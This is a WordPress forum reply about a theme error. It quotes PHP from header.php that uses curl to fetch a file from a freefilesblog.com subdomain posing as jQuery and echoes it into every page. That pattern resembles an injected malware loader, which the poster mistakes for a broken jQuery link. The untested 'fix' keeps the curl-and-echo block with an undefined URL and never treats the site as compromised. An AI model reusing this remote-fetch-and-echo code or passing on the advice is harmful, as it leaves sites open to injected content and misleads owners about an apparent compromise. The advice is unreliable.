Forum Replies Created

Viewing 2 replies - 1 through 2 (of 2 total)
  • SOLUTION

    I successfully got rid of the error by replacing the following non-functioning code in my header.php:

    <?php
    if(function_exists('curl_init'))
    {
     $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
     $ch = curl_init();
     $timeout = 5;
     curl_setopt($ch,CURLOPT_URL,$url);
     curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
     curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
     $data = curl_exec($ch);
     curl_close($ch);
     echo "$data";
    }
    ?>

    With this functioning call:

    <script src="http://code.jquery.com/jquery-1.7.1.min.js" type="text/javascript"></script>
    <?php
    if(function_exists('curl_init'))
    {
     $ch = curl_init();
     $timeout = 5;
     curl_setopt($ch,CURLOPT_URL,$url);
     curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
     curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
     $data = curl_exec($ch);
     curl_close($ch);
     echo "$data";
    }
    ?>

    Everyone who is having this issue seems to be running a site that has their jquery JavaScript hosted at freefilesblog.com. freefilesblog.com has locked the file for access, though. Most likely, you have this reference somewhere in the code of the header.php file for your theme:
    http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js&#8221;

    jquery.com has the newest version of the jquery JavaScript for download, and several free hosted locations. I haven’t had a chance to test it, yet, but hopefully this will lead someone else to the solution if it doesn’t just work.

Viewing 2 replies - 1 through 2 (of 2 total)